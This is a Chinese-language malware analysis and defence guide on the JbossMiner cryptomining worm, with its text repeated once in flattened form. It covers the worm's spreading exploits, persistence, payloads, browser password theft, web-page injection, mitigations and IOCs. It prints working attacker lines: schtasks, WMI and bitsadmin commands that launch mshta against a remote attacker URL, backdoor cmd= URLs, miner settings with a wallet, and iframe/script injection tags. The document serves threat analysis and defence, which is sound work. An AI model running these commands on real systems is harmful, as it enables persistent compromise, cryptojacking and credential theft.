JbossMiner 挖矿蠕虫分析
字数 2818 2025-08-05 08:16:26

JbossMiner挖矿蠕虫分析与防御指南

1. 概述

JbossMiner是一种针对Java中间件服务的挖矿蠕虫,主要利用Jboss、Struts2、MySQL、Redis等服务漏洞进行传播。该蠕虫自2017年11月开始活跃,在2018年初呈现爆发式增长。

1.1 主要特征

  • 跨平台攻击:针对Windows和Linux系统有不同的攻击载荷
  • 多传播途径:利用多种服务漏洞进行传播
  • 持久化机制:采用多种技术实现长期驻留
  • 挖矿功能:主要挖掘门罗币(Monero)
  • 信息窃取:盗取浏览器保存的账号密码

2. 传播机制分析

2.1 扫描阶段

JbossMiner采用两种扫描方式:

  1. 内网扫描:读取本机网络地址并生成C段进行扫描
  2. 公网扫描:从u.swb.one拉取IP和子网掩码列表

扫描流程:

  1. ICMP探活检测
  2. 对存活主机进行端口扫描
  3. 根据端口服务类型启动相应攻击模块

2.2 攻击模块

2.2.1 Jboss利用模块

  • 复用开源工具Jexboss
  • 利用Java反序列化漏洞(CVE-2015-7501等)
  • 攻击成功后下载并执行恶意脚本

2.2.2 Struts2利用模块

  • 集成S2-005到S2-053漏洞利用代码
  • 通过OGNL表达式注入执行系统命令

2.2.3 永恒之蓝(EternalBlue)模块

  • 利用MS17-010漏洞进行内网传播
  • 主要针对未打补丁的Windows系统

2.2.4 MySQL利用模块

利用方式1

  • 通过outfile/dumpfile导出UDF文件
  • 执行系统命令

UDF文件列表

文件名 平台
lib_mysqludf32_sys.dll Windows 32位
lib_mysqludf64_sys.dll Windows 64位
lib_mysqludf32_sys.so Linux 32位
lib_mysqludf64_sys.so Linux 64位

利用方式2

  • 通过修改查询日志路径
  • 向crontab写入恶意代码

2.2.5 Redis利用模块

  • 探测未授权访问
  • 字典爆破弱口令
  • 通过写crontab实现持久化

2.2.6 Tomcat/Axis利用模块

  • WEB层弱口令爆破
  • 上传war后门

后门地址

  • Axis: http://%s/axis2/services/Cat/exec?cmd=
  • Tomcat: http://%s/is/cmd.jsp?pwd=futuresec&&cmd=

3. 持久化技术

3.1 Windows持久化技术

  1. 计划任务
SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F
  1. WMI事件订阅
wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"

wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"

wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"
  1. BITSAdmin
bitsadmin /create updateer3
bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe
bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"
bitsadmin /Resume updateer3

3.2 Linux持久化技术

  • 写入crontab定时任务
  • 定期下载并执行恶意脚本

4. 恶意载荷分析

4.1 Windows载荷

  1. 初始脚本http://enjoytopic.esy.es/ps3.txt (VBScript)
  2. 第二阶段:下载d1uga3uzpppiit.cloudfront.net/dCrC (反射式DLL)
  3. 最终载荷
    • 挖矿程序:http://enjoytopic.esy.es/rigd32.txt
    • 横向传播程序:http://emsisoft.enjoytopic.tk/svshost.exe
    • 后门程序:http://emsisoft.enjoytopic.tk/svthost.exe

挖矿参数

-o pool.monero.hashvault.pro:80 
-u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV 
-p iZ23jdqrusfZ 
--donate-level=1 
--max-cpu-usage=90 
-k -B

4.2 Linux载荷

  1. 初始脚本:通过crontab下载执行
  2. 反弹shellhawk (MetaSploit Mettle组件)
  3. 挖矿程序
    • lienjoy.esy.es/bashd + lienjoy.esy.es/config.json
    • lienjoy.esy.es/bashe + lienjoy.esy.es/config.txt
    • lienjoy.esy.es/bashf + lienjoy.esy.es/bashf.cfg

配置文件示例 (config.json):

{
    "algo": "cryptonight",
    "pool": "xmr.pool.minergate.com:45560",
    "wallet": "45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV",
    "password": "x",
    "nicehash": false,
    "tls": false,
    "tls-fingerprint": null,
    "daemon": false,
    "daemon-poll-interval": 1000,
    "donate-level": 1,
    "user-agent": null
}

5. 信息窃取功能

5.1 Chrome浏览器密码窃取

  1. 检查Chrome进程是否运行
  2. 访问Chrome密码数据库:
    %APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data
  3. 解密并上传到https://u.swb.one/upload/win

5.2 Firefox浏览器密码窃取

  1. 检查Firefox安装情况
  2. 加载NSS库(nss.dll)
  3. 利用NSS函数破解密码
  4. 上传窃取的信息

6. 网页挂马技术

  • 插入iframe挖矿代码:
<IfRAME height=0 width=0 sRc="http://d3lvemwrafj7a7.cloudfront.net/c"></IFrAME>
  • 插入JavaScript挖矿代码:
<script>
var commandModuleStr = '<script src="https://d1ebv77j9rbkp6.enjoytopic.com/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>

7. 防御措施

7.1 预防措施

  1. 及时更新

    • 修复Jboss、Struts2、MySQL、Redis等服务漏洞
    • 安装MS17-010补丁
  2. 配置加固

    • 禁用Jboss JMX控制台
    • Redis设置密码并禁用危险命令
    • MySQL限制文件导出权限
  3. 访问控制

    • 限制管理端口的外网访问
    • 使用强密码策略

7.2 检测措施

  1. 监控异常行为

    • 异常计划任务
    • 可疑的WMI事件订阅
    • 异常的crontab条目
  2. 网络流量监控

    • 检测与矿池的通信
    • 监控与可疑域名(u.swb.one等)的连接
  3. 文件监控

    • 检测文中提到的IOC文件
    • 监控临时目录的可执行文件

7.3 响应措施

  1. 隔离感染主机

  2. 清除恶意组件

    • 删除计划任务/WMI订阅
    • 清理crontab条目
    • 删除恶意文件
  3. 重置凭据

    • 更改所有受影响系统的密码
    • 重置浏览器保存的密码

8. IOC (Indicators of Compromise)

8.1 域名

  • u.swb.one
  • enjoytopic.esy.es
  • xmr.enjoytopic.tk
  • lienjoy.esy.es
  • d1uga3uzpppiit.cloudfront.net
  • d3oxpv9ajpsgxt.cloudfront.net
  • d3lvemwrafj7a7.cloudfront.net
  • d1ebv77j9rbkp6.enjoytopic.com

8.2 文件哈希

(需根据实际捕获样本补充)

8.3 矿池地址

  • pool.monero.hashvault.pro:80
  • xmr.pool.minergate.com:45560
  • pool.blockbitcoin.com

9. 总结

JbossMiner挖矿蠕虫展示了现代恶意软件的典型特征:

  1. 利用多种漏洞进行传播
  2. 跨平台攻击能力
  3. 多种持久化技术
  4. 模块化设计
  5. 多重获利方式(挖矿+信息窃取)

防御此类威胁需要采取多层次的安全措施,包括及时修补漏洞、强化系统配置、实施严格的访问控制以及建立有效的监控机制。

JbossMiner挖矿蠕虫分析与防御指南 1. 概述 JbossMiner是一种针对Java中间件服务的挖矿蠕虫,主要利用Jboss、Struts2、MySQL、Redis等服务漏洞进行传播。该蠕虫自2017年11月开始活跃,在2018年初呈现爆发式增长。 1.1 主要特征 跨平台攻击:针对Windows和Linux系统有不同的攻击载荷 多传播途径:利用多种服务漏洞进行传播 持久化机制:采用多种技术实现长期驻留 挖矿功能:主要挖掘门罗币(Monero) 信息窃取:盗取浏览器保存的账号密码 2. 传播机制分析 2.1 扫描阶段 JbossMiner采用两种扫描方式: 内网扫描 :读取本机网络地址并生成C段进行扫描 公网扫描 :从u.swb.one拉取IP和子网掩码列表 扫描流程: ICMP探活检测 对存活主机进行端口扫描 根据端口服务类型启动相应攻击模块 2.2 攻击模块 2.2.1 Jboss利用模块 复用开源工具Jexboss 利用Java反序列化漏洞(CVE-2015-7501等) 攻击成功后下载并执行恶意脚本 2.2.2 Struts2利用模块 集成S2-005到S2-053漏洞利用代码 通过OGNL表达式注入执行系统命令 2.2.3 永恒之蓝(EternalBlue)模块 利用MS17-010漏洞进行内网传播 主要针对未打补丁的Windows系统 2.2.4 MySQL利用模块 利用方式1 : 通过outfile/dumpfile导出UDF文件 执行系统命令 UDF文件列表 : | 文件名 | 平台 | |--------|------| | lib_ mysqludf32_ sys.dll | Windows 32位 | | lib_ mysqludf64_ sys.dll | Windows 64位 | | lib_ mysqludf32_ sys.so | Linux 32位 | | lib_ mysqludf64_ sys.so | Linux 64位 | 利用方式2 : 通过修改查询日志路径 向crontab写入恶意代码 2.2.5 Redis利用模块 探测未授权访问 字典爆破弱口令 通过写crontab实现持久化 2.2.6 Tomcat/Axis利用模块 WEB层弱口令爆破 上传war后门 后门地址 : Axis: http://%s/axis2/services/Cat/exec?cmd= Tomcat: http://%s/is/cmd.jsp?pwd=futuresec&&cmd= 3. 持久化技术 3.1 Windows持久化技术 计划任务 : WMI事件订阅 : BITSAdmin : 3.2 Linux持久化技术 写入crontab定时任务 定期下载并执行恶意脚本 4. 恶意载荷分析 4.1 Windows载荷 初始脚本 : http://enjoytopic.esy.es/ps3.txt (VBScript) 第二阶段 :下载 d1uga3uzpppiit.cloudfront.net/dCrC (反射式DLL) 最终载荷 : 挖矿程序: http://enjoytopic.esy.es/rigd32.txt 横向传播程序: http://emsisoft.enjoytopic.tk/svshost.exe 后门程序: http://emsisoft.enjoytopic.tk/svthost.exe 挖矿参数 : 4.2 Linux载荷 初始脚本 :通过crontab下载执行 反弹shell : hawk (MetaSploit Mettle组件) 挖矿程序 : lienjoy.esy.es/bashd + lienjoy.esy.es/config.json lienjoy.esy.es/bashe + lienjoy.esy.es/config.txt lienjoy.esy.es/bashf + lienjoy.esy.es/bashf.cfg 配置文件示例 ( config.json ): 5. 信息窃取功能 5.1 Chrome浏览器密码窃取 检查Chrome进程是否运行 访问Chrome密码数据库: %APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data 解密并上传到 https://u.swb.one/upload/win 5.2 Firefox浏览器密码窃取 检查Firefox安装情况 加载NSS库( nss.dll ) 利用NSS函数破解密码 上传窃取的信息 6. 网页挂马技术 插入iframe挖矿代码: 插入JavaScript挖矿代码: 7. 防御措施 7.1 预防措施 及时更新 : 修复Jboss、Struts2、MySQL、Redis等服务漏洞 安装MS17-010补丁 配置加固 : 禁用Jboss JMX控制台 Redis设置密码并禁用危险命令 MySQL限制文件导出权限 访问控制 : 限制管理端口的外网访问 使用强密码策略 7.2 检测措施 监控异常行为 : 异常计划任务 可疑的WMI事件订阅 异常的crontab条目 网络流量监控 : 检测与矿池的通信 监控与可疑域名(u.swb.one等)的连接 文件监控 : 检测文中提到的IOC文件 监控临时目录的可执行文件 7.3 响应措施 隔离感染主机 清除恶意组件 : 删除计划任务/WMI订阅 清理crontab条目 删除恶意文件 重置凭据 : 更改所有受影响系统的密码 重置浏览器保存的密码 8. IOC (Indicators of Compromise) 8.1 域名 u.swb.one enjoytopic.esy.es xmr.enjoytopic.tk lienjoy.esy.es d1uga3uzpppiit.cloudfront.net d3oxpv9ajpsgxt.cloudfront.net d3lvemwrafj7a7.cloudfront.net d1ebv77j9rbkp6.enjoytopic.com 8.2 文件哈希 (需根据实际捕获样本补充) 8.3 矿池地址 pool.monero.hashvault.pro:80 xmr.pool.minergate.com:45560 pool.blockbitcoin.com 9. 总结 JbossMiner挖矿蠕虫展示了现代恶意软件的典型特征: 利用多种漏洞进行传播 跨平台攻击能力 多种持久化技术 模块化设计 多重获利方式(挖矿+信息窃取) 防御此类威胁需要采取多层次的安全措施,包括及时修补漏洞、强化系统配置、实施严格的访问控制以及建立有效的监控机制。